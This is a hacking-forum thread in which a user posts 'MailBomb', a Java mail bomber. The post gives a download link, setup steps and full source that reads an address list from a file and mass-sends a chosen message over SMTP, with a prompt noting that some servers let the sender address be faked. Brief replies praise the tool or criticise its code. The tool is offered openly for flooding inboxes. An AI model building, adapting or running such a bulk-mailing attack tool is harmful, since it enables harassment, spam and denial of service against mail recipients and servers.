Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Java 

Java mail bomber (java.mail libary example) and source

Heres a program i recently made, Its called MailBomb and it all it does is loads emails from a .txt file and mass sends any
message you want using SMTP its can also connect via TLS or SSL.
Heres an example picture.
https://i.imgur.com/WgRjX.png
and heres a Downloads for the program

http://code.google.com/p/mailbomb/

when it starts up you will need to run the 'setup' command
it will then create 2 files
a
emails.txt and a message.txt
the message.txt is just the message that will be sent to all the emails so put whatever you want in there

but the emails.txt is where you will have to put your list of emails
when you have done this save the files and reopen MailBomb
then type 'mail' after that is done you will be asked a few questions
eg SMTP server address and ports and stuff
then it will ask for a delimiter this is very important if you dont get this right it wont work

basicly a delimiter is the thing that separates the emails for example

[email][email protected],[email protected],[email protected][/email]

the delimiter for that list would be

,

get it? 😎

ok now ill post the source

if you trying to compile this yourself make sure you have the java mail libary installed
which you can get here

http://www.oracle.com/technetwork/java/faq-135477.html

if you have any question about the program or soucre code just ask
and also if you have any suggestions or ideas of programs i could make in the future just tell me :D

thanks

Code
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.InputMismatchException;
import java.util.Properties;
import java.util.Scanner;

import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;


public class main {
    public FileReader fin;
    static String username = "[email protected]";
    static String password = "password";
    static String smessage = "Please set message in message.txt";
    static String allText = "";
    static String smtpAdress = "smtp.gmail.com";
    static String tORs = "";
    static String subject = "";
    static String port = "25";
    static String from = username;
    static String to = "[email protected]";
    static String delim = ",";
    
    static String[] bob[] = {};
    final static String thisName = "MailBomb V0.1";
    public static void main(String[] args) throws IOException{

        System.out.println("Thank you for using " + thisName +" Created by Luca aka macoronicheez \n if this is the first time you have used this please type 'setup' \n or if you need help type 'help'" +
                "\n for the latest version please go to http://code.google.com/p/mailbomb/" +
                "\n also ask me anything at c0rrupt.net my name there is ROOT");
        Scanner scan = new Scanner(System.in);
        boolean exit = false;
        
        while(!exit){
        System.out.print("mail>> ");
        String input = scan.nextLine();
        if(input.equals("hello")){System.out.println("ehfuefh");}
        else if(input.equals("exit") || input.equals("close") || input.equals("quit")){
            System.out.println("Thanks for using " + thisName);
            exit = true;
        }else if(input.equals("setup")){
              File f;
              f=new File("emails.txt");
              if(!f.exists()){
              try {
                System.out.println("Creating emails.txt");
                f.createNewFile();
                } catch (IOException e) {
                System.out.println("I0 Exception error showing error information:");
                e.printStackTrace();
              }}
              f=new File("message.txt");
              if(!f.exists()){
              try {
                System.out.println("Creating message.txt");
                f.createNewFile();
                } catch (IOException e) {
                System.out.println("I0 Exception error showing error information:");
                e.printStackTrace();
              }}else{
                  System.out.println("Those files already exist, nothing was created");
              }
              System.out.println("if you havent already please close the program and fill 'emails.txt' \n with the list of emails you wish to send to \n and fill 'message.txt' with the message you want to email.");
        
            }else if(input.equals("help")){
                System.out.println("If you havnt already please run the 'setup' command. \n after you have done that run the 'mail' command \n you will then be asked a few questions such as the address to the SMTP server your using, \n the username and pass for that server, the port the server is running on and if you wish to connect via SSL or TLS ");
            }else if(input.equals("go")){
                System.out.println("Please run the 'mail' command first");
            }else if(input.equals("mail")){
                         BufferedReader r = null;
                        try {
                            r = new BufferedReader(new FileReader("message.txt"));
                        } catch (FileNotFoundException e1) {
                            e1.printStackTrace();
                        }
                         String line = r.readLine();
                         while ( line!=null ) {
                         allText += line + "\n";
                         try {
                            line = r.readLine();
                        } catch (IOException e) {
                            e.printStackTrace();
                         }
                         }
                         try {
                            r.close();
                        } catch (IOException e) {
                            e.printStackTrace();
                        }
                         System.out.println("Preparing you message");
                         smessage = allText;
                         Scanner mail = new Scanner(System.in);
                         System.out.println("please enter your SMTP server address example: smtp.gmail.com  DONT put the port here just the ip or address");
                         System.out.print("mail>> ");
                         smtpAdress = mail.nextLine();
                         System.out.println("Please enter if you would like to use TLS or SSL. note most servers use TLS");
                         System.out.print("mail>> ");
                         tORs = mail.nextLine();
                         System.out.println("Please enter the servers port \n NOTE: if your using the google SMTP the port for SSL is 465 and TLS is 587 \n and the default for most SMTP servers is 25 and please only enter number dont put any colons");
                         System.out.print("mail>> ");
                         port = mail.nextLine();
                         System.out.println("Please enter your usename for the SMTP server example: [email protected]");
                         System.out.print("mail>> ");
                         username = mail.nextLine();
                         System.out.println("please enter your password");
                         System.out.print("mail>> ");
                         password = mail.nextLine();
                         System.out.println("Enter the subject");
                         System.out.print("mail>> ");
                         subject = mail.nextLine();
                         System.out.println("Enter the sender email eg [email protected] some SMTP let you fake who sent the email gmail however does not.");
                         System.out.print("mail>> ");
                         from = mail.nextLine();
                         System.out.println("Please enter the delimiter you would like to use \n (the thing that separates the emails int the emails.txt)");
                         delim = mail.nextLine();
                         BufferedReader reader = new BufferedReader(new FileReader(new File("emails.txt")));
                         StringBuffer sb = new StringBuffer();
                         String eline;

                         while((eline = reader.readLine())!= null)
                         {
                             sb.append(eline);
                         }

                         String [] store = sb.toString().split(delim);
                         int i = store.length;
                         for(int k = 0; k < i; k++){
                            
                             to = store[k];
                             if(tORs.equals("TLS") || tORs.equals("tls")){
                                 tls();
                             }else if(tORs.equals("SSL") || tORs.equals("ssl")){
                                 ssl();
                             }
                         }
                        
            }
    
            }
}
    
    public static void tls(){
        

        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", smtpAdress);
        props.put("mail.smtp.port", port);

        Session session = Session.getInstance(props,
          new javax.mail.Authenticator() {
            protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(username, password);
            }
          });

        try {

            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress(from));
            message.setRecipients(Message.RecipientType.TO,
                InternetAddress.parse(to));
            message.setSubject(subject);
            message.setText(smessage);

            Transport.send(message);

            System.out.println("Done sent to" + to);

        } catch (MessagingException e) {
            throw new RuntimeException(e);
        }
    }
    public static void ssl(){
        Properties props = new Properties();
        props.put("mail.smtp.host", smtpAdress);
        props.put("mail.smtp.socketFactory.port", port);
        props.put("mail.smtp.socketFactory.class",
                "javax.net.ssl.SSLSocketFactory");
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.port", port);

        Session session = Session.getDefaultInstance(props,
            new javax.mail.Authenticator() {
                protected PasswordAuthentication getPasswordAuthentication() {
                    return new PasswordAuthentication("username","password");
                }
            });

        try {

            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress(from));
            message.setRecipients(Message.RecipientType.TO,
                    InternetAddress.parse(to));
            message.setSubject(subject);
            message.setText(smessage);

            Transport.send(message);

            System.out.println("Done");

        } catch (MessagingException e) {
            throw new RuntimeException(e);
        }
    }
}
[/code
]
Looks nice, good job bro.

👍
goodbye
(Jun 10, 2012 11:40 AM)redpois0n Wrote:  Looks nice, good job bro.

👍

thanks :D

.
.
.
.
.
.
.
..
Here's the actual download of the JavaMail API, not the FAQ page

http://www.oracle.com/technetwork/java/j....4-oth-JPR

Your code uses a shit ton of bad programming habits. Unnecessary blocks of "try"s and "while"s that could be included into one.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by OdinJun 14, 2018 08:33 PM 6 811 Jun 14, 2018 08:33 PM
Last Post: Odin
[Python] by newbielolJun 20, 2015 10:14 AM 1 81 Jun 20, 2015 10:14 AM
Last Post: Introvert
[Python] by IntrovertJun 12, 2015 01:27 AM 5 343 Jun 12, 2015 01:27 AM
Last Post: Introvert